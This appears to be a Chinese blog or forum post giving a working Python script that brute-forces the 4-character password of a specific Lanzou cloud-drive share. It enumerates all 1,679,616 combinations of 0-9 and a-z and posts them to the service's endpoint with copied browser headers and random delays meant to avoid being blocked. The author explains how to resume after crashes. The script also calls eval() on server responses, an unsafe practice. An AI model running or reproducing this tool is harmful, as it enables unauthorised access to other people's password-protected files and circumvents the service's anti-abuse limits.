打开链接， F12，网络，一顿headers，Python代码如下：

"""
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"""
#lanzou 蓝奏云盘密码穷举import requests
import time #延迟一个时间段，避免被网页拒绝
import random #随机数，制造随机时间
start=40000
s=requests.session()
wangzhi= "https://yxsp.lanzous.com/filemoreajax.php"
zimu=[chr(i) for i in range(ord("a"), ord("z") + 1)]
shuzi=[str(i) for i in range(0,10)]
shuzi.extend(zimu) #将字母列表加到数字列表末尾
mimabiao=shuzi
print(mimabiao)
mima=[]
for yi in mimabiao:
    for er in mimabiao:
        for san in mimabiao:
            for si in mimabiao:
                #time.sleep(random.random()*500) #每次随机停顿一个时间
                mima_temp=yi+er+san+si
                mima.append(mima_temp)
if(len(mima)==36*36*36*36):
    print("密码字典生成正常，开始穷举尝试")
else:
    print("密码字典生成有误，请仔细检查。")
    print("正常大小应该是%d，现在大小是%d"%(36*36*36*36, len(mima)) )
xiaoxitou={"Accept":"application/json, text/javascript, */*","Accept-Encoding":"gzip, deflate, br","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Connection":"keep-alive","Content-Length":"106","Content-Type":"application/x-www-form-urlencoded","Cookie":"codelen=1; pc_ad1=1","Host":"yxsp.lanzous.com","Origin":"https://yxsp.lanzous.com","Referer":"https://yxsp.lanzous.com/b01ztsove","User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3202.9 Safari/537.36","X-Requested-With":"XMLHttpRequest"}
 
for i in range(start,1679616+1):  #36x36x36x36=1679616。密码是4位，每位是0-9和a-z
    shuju = "lx=2&fid=2836724&uid=1808316&pg=1&rep=0&t=1610610122&k=eb147f635d120d10b7a16d4ff58ac803&up=1&ls=1&pwd=" + mima[i]
    res = s.post(url=wangzhi, headers=xiaoxitou, data=shuju)
    jieguo = eval(res.text)
    tag = jieguo['zt']
    print(mima[i],jieguo['info'],',当前进度：',i,1679616,i/1679616*100,r"%")
    time.sleep(random.random())
    if tag==1:
        print('正确密码是：',mima[i])
        break
 
if(tag!=1):
    print('密码未找到')

 

 

python跑很长时候会莫名其妙报错，终止程序。
记下上次跑到最后一个的结果，改第5行的start值接着执行。
我跑了前40000个，都不是。总密码数量是1679616个，祝好运。